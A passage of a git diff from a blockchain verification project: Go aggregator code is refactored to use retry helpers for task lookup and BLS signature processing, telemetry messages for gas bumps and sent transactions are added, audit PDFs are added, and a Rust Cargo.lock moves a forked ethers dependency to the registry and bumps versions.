+ "fmt" "net/http" "net/rpc" + "strings" "time" + "github.com/Layr-Labs/eigensdk-go/crypto/bls" + eigentypes "github.com/Layr-Labs/eigensdk-go/types" + retry "github.com/yetanotherco/aligned_layer/core" "github.com/yetanotherco/aligned_layer/core/types" ) -const waitForEventRetries = 50 -const waitForEventSleepSeconds = 4 * time.Second - func (agg *Aggregator) ServeOperators() error { // Registers a new RPC server err := rpc.Register(agg) @@ -50,22 +52,10 @@ func (agg *Aggregator) ProcessOperatorSignedTaskResponseV2(signedTaskResponse *t "BatchIdentifierHash", "0x"+hex.EncodeToString(signedTaskResponse.BatchIdentifierHash[:]), "operatorId", hex.EncodeToString(signedTaskResponse.OperatorId[:])) taskIndex := uint32(0) - ok := false - for i := 0; i < waitForEventRetries; i++ { - agg.taskMutex.Lock() - agg.AggregatorConfig.BaseConfig.Logger.Info("- Locked Resources: Starting processing of Response") - taskIndex, ok = agg.batchesIdxByIdentifierHash[signedTaskResponse.BatchIdentifierHash] - if !ok { - agg.taskMutex.Unlock() - agg.logger.Info("- Unlocked Resources: Task not found in the internal map") - time.Sleep(waitForEventSleepSeconds) - } else { - break - } - } + taskIndex, err := agg.GetTaskIndex(signedTaskResponse.BatchIdentifierHash) - if !ok { + if err != nil { agg.logger.Warn("Task not found in the internal map, operator signature will be lost. Batch may not reach quorum") *reply = 1 return nil @@ -82,7 +72,7 @@ func (agg *Aggregator) ProcessOperatorSignedTaskResponseV2(signedTaskResponse *t agg.logger.Info("Starting bls signature process") go func() { - err := agg.blsAggregationService.ProcessNewSignature( + err := agg.ProcessNewSignature( context.Background(), taskIndex, signedTaskResponse.BatchIdentifierHash, &signedTaskResponse.BlsSignature, signedTaskResponse.OperatorId, ) @@ -121,3 +111,48 @@ func (agg *Aggregator) ServerRunning(_ *struct{}, reply *int64) error { *reply = 1 return nil } + +// |---RETRYABLE---| + +/* + - Errors: + Permanent: + - SignatureVerificationError: Verification of the sigature within the BLS Aggregation Service failed. (https://github.com/Layr-Labs/eigensdk-go/blob/dev/services/bls_aggregation/blsagg.go#L42). + Transient: + - All others. + - Retry times (3 retries): 12 sec (1 Blocks), 24 sec (2 Blocks), 48 sec (4 Blocks) + - NOTE: TaskNotFound errors from the BLS Aggregation service are Transient errors as block reorg's may lead to these errors being thrown. +*/ +func (agg *Aggregator) ProcessNewSignature(ctx context.Context, taskIndex uint32, taskResponse interface{}, blsSignature *bls.Signature, operatorId eigentypes.Bytes32) error { + processNewSignature_func := func() error { + err := agg.blsAggregationService.ProcessNewSignature( + ctx, taskIndex, taskResponse, + blsSignature, operatorId, + ) + if err != nil { + if strings.Contains(err.Error(), "Failed to verify signature") { + err = retry.PermanentError{Inner: err} + } + } + return err + } + + return retry.Retry(processNewSignature_func, retry.MinDelayChain, retry.RetryFactor, retry.NumRetries, retry.MaxIntervalChain, retry.MaxElapsedTime) +} + +func (agg *Aggregator) GetTaskIndex(batchIdentifierHash [32]byte) (uint32, error) { + getTaskIndex_func := func() (uint32, error) { + agg.taskMutex.Lock() + agg.AggregatorConfig.BaseConfig.Logger.Info("- Locked Resources: Starting processing of Response") + taskIndex, ok := agg.batchesIdxByIdentifierHash[batchIdentifierHash] + if !ok { + agg.taskMutex.Unlock() + agg.logger.Info("- Unlocked Resources: Task not found in the internal map") + return taskIndex, fmt.Errorf("Task not found in the internal map") + } else { + return taskIndex, nil + } + } + + return retry.RetryWithData(getTaskIndex_func, retry.MinDelay, retry.RetryFactor, retry.NumRetries, retry.MaxInterval, retry.MaxElapsedTime) +} diff --git a/aggregator/internal/pkg/subscriber.go b/aggregator/pkg/subscriber.go similarity index 100% rename from aggregator/internal/pkg/subscriber.go rename to aggregator/pkg/subscriber.go diff --git a/aggregator/internal/pkg/telemetry.go b/aggregator/pkg/telemetry.go similarity index 78% rename from aggregator/internal/pkg/telemetry.go rename to aggregator/pkg/telemetry.go index 6c2aa6b44..95962d0fb 100644 --- a/aggregator/internal/pkg/telemetry.go +++ b/aggregator/pkg/telemetry.go @@ -30,6 +30,16 @@ type TaskErrorMessage struct { TaskError string `json:"error"` } +type TaskGasPriceBumpMessage struct { + MerkleRoot string `json:"merkle_root"` + BumpedGasPrice string `json:"bumped_gas_price"` +} + +type TaskSentToEthereumMessage struct { + MerkleRoot string `json:"merkle_root"` + TxHash string `json:"tx_hash"` +} + type Telemetry struct { client http.Client baseURL url.URL @@ -91,6 +101,26 @@ func (t *Telemetry) LogTaskError(batchMerkleRoot [32]byte, taskError error) { } } +func (t *Telemetry) BumpedTaskGasPrice(batchMerkleRoot [32]byte, bumpedGasPrice string) { + body := TaskGasPriceBumpMessage{ + MerkleRoot: fmt.Sprintf("0x%s", hex.EncodeToString(batchMerkleRoot[:])), + BumpedGasPrice: bumpedGasPrice, + } + if err := t.sendTelemetryMessage("/api/aggregatorTaskGasPriceBump", body); err != nil { + t.logger.Error("[Telemetry] Error in LogOperatorResponse", "error", err) + } +} + +func (t *Telemetry) TaskSentToEthereum(batchMerkleRoot [32]byte, txHash string) { + body := TaskSentToEthereumMessage{ + MerkleRoot: fmt.Sprintf("0x%s", hex.EncodeToString(batchMerkleRoot[:])), + TxHash: txHash, + } + if err := t.sendTelemetryMessage("/api/aggregatorTaskSent", body); err != nil { + t.logger.Error("[Telemetry] Error in TaskSentToEthereum", "error", err) + } +} + func (t *Telemetry) FinishTrace(batchMerkleRoot [32]byte) { // In order to wait for all operator responses, even if the quorum is reached, this function has a delayed execution go func() { diff --git a/audits/aligned_v0.4/due_diligence_consensys.pdf b/audits/aligned_v0.4/due_diligence_consensys.pdf new file mode 100644 index 000000000..bdff237f0 Binary files /dev/null and b/audits/aligned_v0.4/due_diligence_consensys.pdf differ diff --git a/audits/aligned_v0.4/fuzzing_labs.pdf b/audits/aligned_v0.4/fuzzing_labs.pdf new file mode 100644 index 000000000..285f070c3 Binary files /dev/null and b/audits/aligned_v0.4/fuzzing_labs.pdf differ diff --git a/batcher/Cargo.lock b/batcher/Cargo.lock index 3b6536509..6155d4b03 100644 --- a/batcher/Cargo.lock +++ b/batcher/Cargo.lock @@ -77,7 +77,7 @@ dependencies = [ "aligned-sdk", "clap", "env_logger", - "ethers 2.0.14 (git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections)", + "ethers", "futures-util", "lambdaworks-crypto", "log", @@ -98,13 +98,14 @@ dependencies = [ "anyhow", "aws-config", "aws-sdk-s3", + "backon", "bincode", "bytes", "ciborium", "clap", "dotenvy", "env_logger", - "ethers 2.0.14 (git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections)", + "ethers", "futures-util", "hex", "lambdaworks-crypto", @@ -112,6 +113,7 @@ dependencies = [ "once_cell", "priority-queue", "prometheus", + "reqwest 0.12.9", "risc0-zkvm", "serde", "serde_json", @@ -129,7 +131,7 @@ version = "0.1.0" dependencies = [ "ciborium", "dialoguer", - "ethers 2.0.14 (git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections)", + "ethers", "futures-util", "hex", "lambdaworks-crypto", @@ -145,9 +147,9 @@ dependencies = [ [[package]] name = "allocator-api2" -version = "0.2.18" +version = "0.2.20" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5c6cb57a04249c6480766f7f7cef5467412af1490f8d1e243141daddada3264f" +checksum = "45862d1c77f2228b9e10bc609d5bc203d86ebc9b87ad8d5d5167a6c9abf739d9" [[package]] name = "alloy-primitives" @@ -192,7 +194,7 @@ dependencies = [ "proc-macro-error", "proc-macro2", "quote", - "syn 2.0.85", + "syn 2.0.87", ] [[package]] @@ -208,7 +210,7 @@ dependencies = [ "proc-macro-error", "proc-macro2", "quote", - "syn 2.0.85", + "syn 2.0.87", "syn-solidity", "tiny-keccak", ] @@ -224,7 +226,7 @@ dependencies = [ "heck 0.5.0", "proc-macro2", "quote", - "syn 2.0.85", + "syn 2.0.87", "syn-solidity", ] @@ -251,9 +253,9 @@ dependencies = [ [[package]] name = "anstream" -version = "0.6.17" +version = "0.6.18" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "23a1e53f0f5d86382dafe1cf314783b2044280f406e7e1506368220ad11b1338" +checksum = "8acc5369981196006228e28809f761875c0327210a891e941f4c683b3a99529b" dependencies = [ "anstyle", "anstyle-parse", @@ -266,9 +268,9 @@ dependencies = [ [[package]] name = "anstyle" -version = "1.0.9" +version = "1.0.10" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8365de52b16c035ff4fcafe0092ba9390540e3e352870ac09933bebcaa2c8c56" +checksum = "55cc3b69f167a1ef2e161439aa98aed94e6028e5f9a59be9a6ffb47aef1651f9" [[package]] name = "anstyle-parse" @@ -300,9 +302,9 @@ dependencies = [ [[package]] name = "anyhow" -version = "1.0.91" +version = "1.0.93" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c042108f3ed77fd83760a5fd79b53be043192bb3b9dba91d8c574c0ada7850c8" +checksum = "4c95c10ba0b00a02636238b814946408b1322d5ac4760326e6fb8ec956d85775" [[package]] name = "ark-bn254" @@ -567,7 +569,7 @@ checksum = "721cae7de5c34fbb2acd27e21e6d2cf7b886dce0c27388d46c4e6c47ea4318dd" dependencies = [ "proc-macro2", "quote", - "syn 2.0.85", + "syn 2.0.87", ] [[package]] @@ -595,7 +597,7 @@ checksum = "3c87f3f15e7794432337fc718554eaa4dc8f04c9677a950ffe366f20a162ae42" dependencies = [ "proc-macro2", "quote", - "syn 2.0.85", + "syn 2.0.87", ] [[package]] @@ -606,9 +608,9 @@ checksum = "ace50bade8e6234aa140d9a2f552bbee1db4d353f69b8217bc503490fc1a9f26" [[package]] name = "aws-config" -version = "1.5.9" +version = "1.5.10" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2d6448cfb224dd6a9b9ac734f58622dd0d4751f3589f3b777345745f46b2eb14" +checksum = "9b49afaa341e8dd8577e1a2200468f98956d6eda50bcf4a53246cc00174ba924" dependencies = [ "aws-credential-types", "aws-runtime", @@ -674,9 +676,9 @@ dependencies = [ [[package]] name = "aws-sdk-s3" -version = "1.58.0" +version = "1.60.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0656a79cf5e6ab0d4bb2465cd750a7a2fd7ea26c062183ed94225f5782e22365" +checksum = "0506cc60e392e33712d47717d5ae5760a3b134bf8ee7aea7e43df3d7e2669ae0" dependencies = [ "aws-credential-types", "aws-runtime", @@ -708,9 +710,9 @@ dependencies = [ [[package]] name = "aws-sdk-sso" -version = "1.47.0" +version = "1.49.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a8776850becacbd3a82a4737a9375ddb5c6832a51379f24443a98e61513f852c" +checksum = "09677244a9da92172c8dc60109b4a9658597d4d298b188dd0018b6a66b410ca4" dependencies = [ "aws-credential-types", "aws-runtime", @@ -730,9 +732,9 @@ dependencies = [ [[package]] name = "aws-sdk-ssooidc" -version = "1.48.0" +version = "1.50.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0007b5b8004547133319b6c4e87193eee2a0bcb3e4c18c75d09febe9dab7b383" +checksum = "81fea2f3a8bb3bd10932ae7ad59cc59f65f270fc9183a7e91f501dc5efbef7ee" dependencies = [ "aws-credential-types", "aws-runtime", @@ -752,9 +754,9 @@ dependencies = [ [[package]] name = "aws-sdk-sts" -version = "1.47.0" +version = "1.49.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9fffaa356e7f1c725908b75136d53207fa714e348f365671df14e95a60530ad3" +checksum = "53dcf5e7d9bd1517b8b998e170e650047cea8a2b85fe1835abe3210713e541b7" dependencies = [ "aws-credential-types", "aws-runtime", @@ -914,9 +916,9 @@ dependencies = [ [[package]] name = "aws-smithy-runtime-api" -version = "1.7.2" +version = "1.7.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e086682a53d3aa241192aa110fa8dfce98f2f5ac2ead0de84d41582c7e8fdb96" +checksum = "92165296a47a812b267b4f41032ff8069ab7ff783696d217f0994a0d7ab585cd" dependencies = [ "aws-smithy-async", "aws-smithy-types", @@ -931,9 +933,9 @@ dependencies = [ [[package]] name = "aws-smithy-types" -version = "1.2.8" +version = "1.2.9" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "07c9cdc179e6afbf5d391ab08c85eac817b51c87e1892a5edb5f7bbdc64314b4" +checksum = "4fbd94a32b3a7d55d3806fe27d98d3ad393050439dd05eb53ece36ec5e3d3510" dependencies = [ "base64-simd", "bytes", @@ -1033,6 +1035,17 @@ dependencies = [ "tracing", ] +[[package]] +name = "backon" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e4fa97bb310c33c811334143cf64c5bb2b7b3c06e453db6b095d7061eff8f113" +dependencies = [ + "fastrand", + "gloo-timers 0.3.0", + "tokio", +] + [[package]] name = "backtrace" version = "0.3.74" @@ -1127,7 +1140,7 @@ dependencies = [ "regex", "rustc-hash 1.1.0", "shlex", - "syn 2.0.85", + "syn 2.0.87", ] [[package]] @@ -1237,16 +1250,16 @@ source = "git+https://github.com/risc0/risc0?tag=v1.1.2#2ba504fddd84376235d335ec dependencies = [ "duplicate", "maybe-async", - "reqwest 0.12.8", + "reqwest 0.12.9", "serde", "thiserror", ] [[package]] name = "borsh" -version = "1.5.1" +version = "1.5.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a6362ed55def622cddc70a4746a68554d7b687713770de539e59a739b249f8ed" +checksum = "f5327f6c99920069d1fe374aa743be1af0031dea9f250852cdf1ae6a0861ee24" dependencies = [ "borsh-derive", "cfg_aliases", @@ -1254,16 +1267,15 @@ dependencies = [ [[package]] name = "borsh-derive" -version = "1.5.1" +version = "1.5.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c3ef8005764f53cd4dca619f5bf64cafd4664dada50ece25e4d81de54c80cc0b" +checksum = "10aedd8f1a81a8aafbfde924b0e3061cd6fedd6f6bbcfc6a76e6fd426d7bfe26" dependencies = [ "once_cell", "proc-macro-crate 3.2.0", "proc-macro2", "quote", - "syn 2.0.85", - "syn_derive", + "syn 2.0.87", ] [[package]] @@ -1305,7 +1317,7 @@ checksum = "bcfcc3cd946cb52f0bbfdbbcfa2f4e24f75ebb6c0e1002f7c25904fada18b9ec" dependencies = [ "proc-macro2", "quote", - "syn 2.0.85", + "syn 2.0.87", ] [[package]] @@ -1388,9 +1400,9 @@ dependencies = [ [[package]] name = "cc" -version = "1.1.31" +version = "1.1.37" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c2e7962b54006dcfcc61cb72735f4d89bb97061dd6a7ed882ec6b8ee53714c6f" +checksum = "40545c26d092346d8a8dab71ee48e7685a7a9cba76e634790c215b41a4a7b4cf" dependencies = [ "jobserver", "libc", @@ -1506,7 +1518,7 @@ dependencies = [ "heck 0.5.0", "proc-macro2", "quote", - "syn 2.0.85", + "syn 2.0.87", ] [[package]] @@ -1652,9 +1664,9 @@ dependencies = [ [[package]] name = "cpufeatures" -version = "0.2.14" +version = "0.2.15" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "608697df725056feaccfa42cffdaeeec3fccc4ffc38358ecd19b243e716a78e0" +checksum = "0ca741a962e1b0bff6d724a1a0958b686406e853bb14061f218562e1896f95e6" dependencies = [ "libc", ] @@ -1774,7 +1786,7 @@ checksum = "f46882e17999c6cc590af592290432be3bce0428cb0d5f8b6715e4dc7b383eb3" dependencies = [ "proc-macro2", "quote", - "syn 2.0.85", + "syn 2.0.87", ] [[package]] @@ -1911,7 +1923,7 @@ dependencies = [ "proc-macro2", "quote", "rustc_version 0.4.1", - "syn 2.0.85", + "syn 2.0.87", ] [[package]] @@ -1931,7 +1943,7 @@ checksum = "cb7330aeadfbe296029522e6c40f315320aba36fc43a5b3632f3795348f3bd22" dependencies = [ "proc-macro2", "quote", - "syn 2.0.85", + "syn 2.0.87", ] [[package]] @@ -2010,6 +2022,17 @@ dependencies = [ "winapi", ] +[[package]] +name = "displaydoc" +version = "0.2.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "97369cbbc041bc366949bc74d34658d6cda5621039731c6310521892a3a20ae0" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.87", +] + [[package]] name = "docker-generate" version = "0.1.3" @@ -2181,7 +2204,7 @@ checksum = "f282cfdfe92516eb26c2af8589c274c7c17681f5ecc03c18255fe741c6aa64eb" dependencies = [ "proc-macro2", "quote", - "syn 2.0.85", + "syn 2.0.87", ] [[package]] @@ -2299,26 +2322,13 @@ version = "2.0.14" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "816841ea989f0c69e459af1cf23a6b0033b19a55424a1ea3a30099becdb8dec0" dependencies = [ - "ethers-addressbook 2.0.14 (registry+https://github.com/rust-lang/crates.io-index)", - "ethers-contract 2.0.14 (registry+https://github.com/rust-lang/crates.io-index)", - "ethers-core 2.0.14 (registry+https://github.com/rust-lang/crates.io-index)", - "ethers-middleware 2.0.14 (registry+https://github.com/rust-lang/crates.io-index)", - "ethers-providers 2.0.14 (registry+https://github.com/rust-lang/crates.io-index)", - "ethers-signers 2.0.14 (registry+https://github.com/rust-lang/crates.io-index)", -] - -[[package]] -name = "ethers" -version = "2.0.14" -source = "git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections#69bba841ff352cf27b014d4fbb7985a180d88e25" -dependencies = [ - "ethers-addressbook 2.0.14 (git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections)", - "ethers-contract 2.0.14 (git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections)", - "ethers-core 2.0.14 (git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections)", + "ethers-addressbook", + "ethers-contract", + "ethers-core", "ethers-etherscan", - "ethers-middleware 2.0.14 (git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections)", - "ethers-providers 2.0.14 (git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections)", - "ethers-signers 2.0.14 (git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections)", + "ethers-middleware", + "ethers-providers", + "ethers-signers", "ethers-solc", ] @@ -2328,18 +2338,7 @@ version = "2.0.14" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "5495afd16b4faa556c3bba1f21b98b4983e53c1755022377051a975c3b021759" dependencies = [ - "ethers-core 2.0.14 (registry+https://github.com/rust-lang/crates.io-index)", - "once_cell", - "serde", - "serde_json", -] - -[[package]] -name = "ethers-addressbook" -version = "2.0.14" -source = "git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections#69bba841ff352cf27b014d4fbb7985a180d88e25" -dependencies = [ - "ethers-core 2.0.14 (git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections)", + "ethers-core", "once_cell", "serde", "serde_json", @@ -2352,28 +2351,10 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "6fceafa3578c836eeb874af87abacfb041f92b4da0a78a5edd042564b8ecdaaa" dependencies = [ "const-hex", - "ethers-contract-abigen 2.0.14 (registry+https://github.com/rust-lang/crates.io-index)", - "ethers-contract-derive 2.0.14 (registry+https://github.com/rust-lang/crates.io-index)", - "ethers-core 2.0.14 (registry+https://github.com/rust-lang/crates.io-index)", - "ethers-providers 2.0.14 (registry+https://github.com/rust-lang/crates.io-index)", - "futures-util", - "once_cell", - "pin-project", - "serde", - "serde_json", - "thiserror", -] - -[[package]] -name = "ethers-contract" -version = "2.0.14" -source = "git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections#69bba841ff352cf27b014d4fbb7985a180d88e25" -dependencies = [ - "const-hex", - "ethers-contract-abigen 2.0.14 (git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections)", - "ethers-contract-derive 2.0.14 (git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections)", - "ethers-core 2.0.14 (git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections)", - "ethers-providers 2.0.14 (git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections)", + "ethers-contract-abigen", + "ethers-contract-derive", + "ethers-core", + "ethers-providers", "futures-util", "once_cell", "pin-project", @@ -2391,28 +2372,7 @@ dependencies = [ "Inflector", "const-hex", "dunce", - "ethers-core 2.0.14 (registry+https://github.com/rust-lang/crates.io-index)", - "eyre", - "prettyplease", - "proc-macro2", - "quote", - "regex", - "serde", - "serde_json", - "syn 2.0.85", - "toml", - "walkdir", -] - -[[package]] -name = "ethers-contract-abigen" -version = "2.0.14" -source = "git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections#69bba841ff352cf27b014d4fbb7985a180d88e25" -dependencies = [ - "Inflector", - "const-hex", - "dunce", - "ethers-core 2.0.14 (git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections)", + "ethers-core", "ethers-etherscan", "eyre", "prettyplease", @@ -2422,7 +2382,7 @@ dependencies = [ "reqwest 0.11.27", "serde", "serde_json", - "syn 2.0.85", + "syn 2.0.87", "toml", "walkdir", ] @@ -2435,27 +2395,12 @@ checksum = "87689dcabc0051cde10caaade298f9e9093d65f6125c14575db3fd8c669a168f" dependencies = [ "Inflector", "const-hex", - "ethers-contract-abigen 2.0.14 (registry+https://github.com/rust-lang/crates.io-index)", - "ethers-core 2.0.14 (registry+https://github.com/rust-lang/crates.io-index)", - "proc-macro2", - "quote", - "serde_json", - "syn 2.0.85", -] - -[[package]] -name = "ethers-contract-derive" -version = "2.0.14" -source = "git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections#69bba841ff352cf27b014d4fbb7985a180d88e25" -dependencies = [ - "Inflector", - "const-hex", - "ethers-contract-abigen 2.0.14 (git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections)", - "ethers-core 2.0.14 (git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections)", + "ethers-contract-abigen", + "ethers-core", "proc-macro2", "quote", "serde_json", - "syn 2.0.85", + "syn 2.0.87", ] [[package]] @@ -2481,36 +2426,7 @@ dependencies = [ "serde", "serde_json", "strum", - "syn 2.0.85", - "tempfile", - "thiserror", - "tiny-keccak", - "unicode-xid", -] - -[[package]] -name = "ethers-core" -version = "2.0.14" -source = "git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections#69bba841ff352cf27b014d4fbb7985a180d88e25" -dependencies = [ - "arrayvec", - "bytes", - "cargo_metadata", - "chrono", - "const-hex", - "elliptic-curve 0.13.8", - "ethabi", - "generic-array 0.14.7", - "k256", - "num_enum 0.7.3", - "once_cell", - "open-fastrlp", - "rand", - "rlp", - "serde", - "serde_json", - "strum", - "syn 2.0.85", + "syn 2.0.87", "tempfile", "thiserror", "tiny-keccak", @@ -2520,10 +2436,11 @@ dependencies = [ [[package]] name = "ethers-etherscan" version = "2.0.14" -source = "git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections#69bba841ff352cf27b014d4fbb7985a180d88e25" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e79e5973c26d4baf0ce55520bd732314328cabe53193286671b47144145b9649" dependencies = [ "chrono", - "ethers-core 2.0.14 (git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections)", + "ethers-core", "reqwest 0.11.27", "semver 1.0.23", "serde", @@ -2540,36 +2457,11 @@ checksum = "48f9fdf09aec667c099909d91908d5eaf9be1bd0e2500ba4172c1d28bfaa43de" dependencies = [ "async-trait", "auto_impl", - "ethers-contract 2.0.14 (registry+https://github.com/rust-lang/crates.io-index)", - "ethers-core 2.0.14 (registry+https://github.com/rust-lang/crates.io-index)", - "ethers-providers 2.0.14 (registry+https://github.com/rust-lang/crates.io-index)", - "ethers-signers 2.0.14 (registry+https://github.com/rust-lang/crates.io-index)", - "futures-channel", - "futures-locks", - "futures-util", - "instant", - "reqwest 0.11.27", - "serde", - "serde_json", - "thiserror", - "tokio", - "tracing", - "tracing-futures", - "url", -] - -[[package]] -name = "ethers-middleware" -version = "2.0.14" -source = "git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections#69bba841ff352cf27b014d4fbb7985a180d88e25" -dependencies = [ - "async-trait", - "auto_impl", - "ethers-contract 2.0.14 (git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections)", - "ethers-core 2.0.14 (git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections)", + "ethers-contract", + "ethers-core", "ethers-etherscan", - "ethers-providers 2.0.14 (git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections)", - "ethers-signers 2.0.14 (git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections)", + "ethers-providers", + "ethers-signers", "futures-channel", "futures-locks", "futures-util", @@ -2596,42 +2488,7 @@ dependencies = [ "bytes", "const-hex", "enr", - "ethers-core 2.0.14 (registry+https://github.com/rust-lang/crates.io-index)", - "futures-core", - "futures-timer", - "futures-util", - "hashers", - "http 0.2.12", - "instant", - "jsonwebtoken", - "once_cell", - "pin-project", - "reqwest 0.11.27", - "serde", - "serde_json", - "thiserror", - "tokio", - "tracing", - "tracing-futures", - "url", - "wasm-bindgen", - "wasm-bindgen-futures", - "web-sys", - "ws_stream_wasm", -] - -[[package]] -name = "ethers-providers" -version = "2.0.14" -source = "git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections#69bba841ff352cf27b014d4fbb7985a180d88e25" -dependencies = [ - "async-trait", - "auto_impl", - "base64 0.22.1", - "bytes", - "const-hex", - "enr", - "ethers-core 2.0.14 (git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections)", + "ethers-core", "futures-channel", "futures-core", "futures-timer", @@ -2669,25 +2526,7 @@ dependencies = [ "const-hex", "elliptic-curve 0.13.8", "eth-keystore", - "ethers-core 2.0.14 (registry+https://github.com/rust-lang/crates.io-index)", - "rand", - "sha2", - "thiserror", - "tracing", -] - -[[package]] -name = "ethers-signers" -version = "2.0.14" -source = "git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections#69bba841ff352cf27b014d4fbb7985a180d88e25" -dependencies = [ - "async-trait", - "coins-bip32", - "coins-bip39", - "const-hex", - "elliptic-curve 0.13.8", - "eth-keystore", - "ethers-core 2.0.14 (git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections)", + "ethers-core", "rand", "sha2", "thiserror", @@ -2697,13 +2536,14 @@ dependencies = [ [[package]] name = "ethers-solc" version = "2.0.14" -source = "git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections#69bba841ff352cf27b014d4fbb7985a180d88e25" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "66244a771d9163282646dbeffe0e6eca4dda4146b6498644e678ac6089b11edd" dependencies = [ "cfg-if", "const-hex", "dirs", "dunce", - "ethers-core 2.0.14 (git+https://github.com/yetanotherco/ethers-rs.git?tag=v2.0.15-fix-reconnections)", + "ethers-core", "glob", "home", "md-5", @@ -2737,9 +2577,9 @@ dependencies = [ [[package]] name = "fastrand" -version = "2.1.1" +version = "2.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e8c02a5121d4ea3eb16a80748c74f5549a5665e4c21333c6098f283870fbdea6" +checksum = "486f806e73c5707928240ddc295403b1b93c96a02038563881c4a2fd84b81ac4" [[package]] name = "fastrlp" @@ -2865,7 +2705,7 @@ checksum = "1a5c6c585bc94aaf2c7b51dd4c2ba22680844aba4c687be581871a6f518c5742" dependencies = [ "proc-macro2", "quote", - "syn 2.0.85", + "syn 2.0.87", ] [[package]] @@ -2971,7 +2811,7 @@ checksum = "162ee34ebcb7c64a8abebc059ce0fee27c2262618d7b60ed8faf72fef13c3650" dependencies = [ "proc-macro2", "quote", - "syn 2.0.85", + "syn 2.0.87", ] [[package]] @@ -2992,7 +2832,7 @@ version = "3.0.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "f288b0a4f20f9a56b5d1da57e2227c661b7b16168e2f72365f57b63326e29b24" dependencies = [ - "gloo-timers", + "gloo-timers 0.2.6", "send_wrapper 0.4.0", ] @@ -3098,6 +2938,18 @@ dependencies = [ "wasm-bindgen", ] +[[package]] +name = "gloo-timers" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bbb143cf96099802033e0d4f4963b19fd2e0b728bcf076cd9cf7f6634f092994" +dependencies = [ + "futures-channel", + "futures-core", + "js-sys", + "wasm-bindgen", +] + [[package]] name = "group" version = "0.12.1" @@ -3214,9 +3066,9 @@ dependencies = [ [[package]] name = "hashbrown" -version = "0.15.0" +version = "0.15.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1e087f84d4f86bf4b218b927129862374b72199ae7d8657835f1e89000eea4fb" +checksum = "3a9bfc1af68b1726ea47d3d5109de126281def866b33970e10fbab11b5dafab3" dependencies = [ "allocator-api2", "equivalent", @@ -3505,14 +3357,143 @@ dependencies = [ "tracing", ] +[[package]] +name = "icu_collections" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "db2fa452206ebee18c4b5c2274dbf1de17008e874b4dc4f0aea9d01ca79e4526" +dependencies = [ + "displaydoc", + "yoke", + "zerofrom", + "zerovec", +] + +[[package]] +name = "icu_locid" +version = "1.5.0" +source = 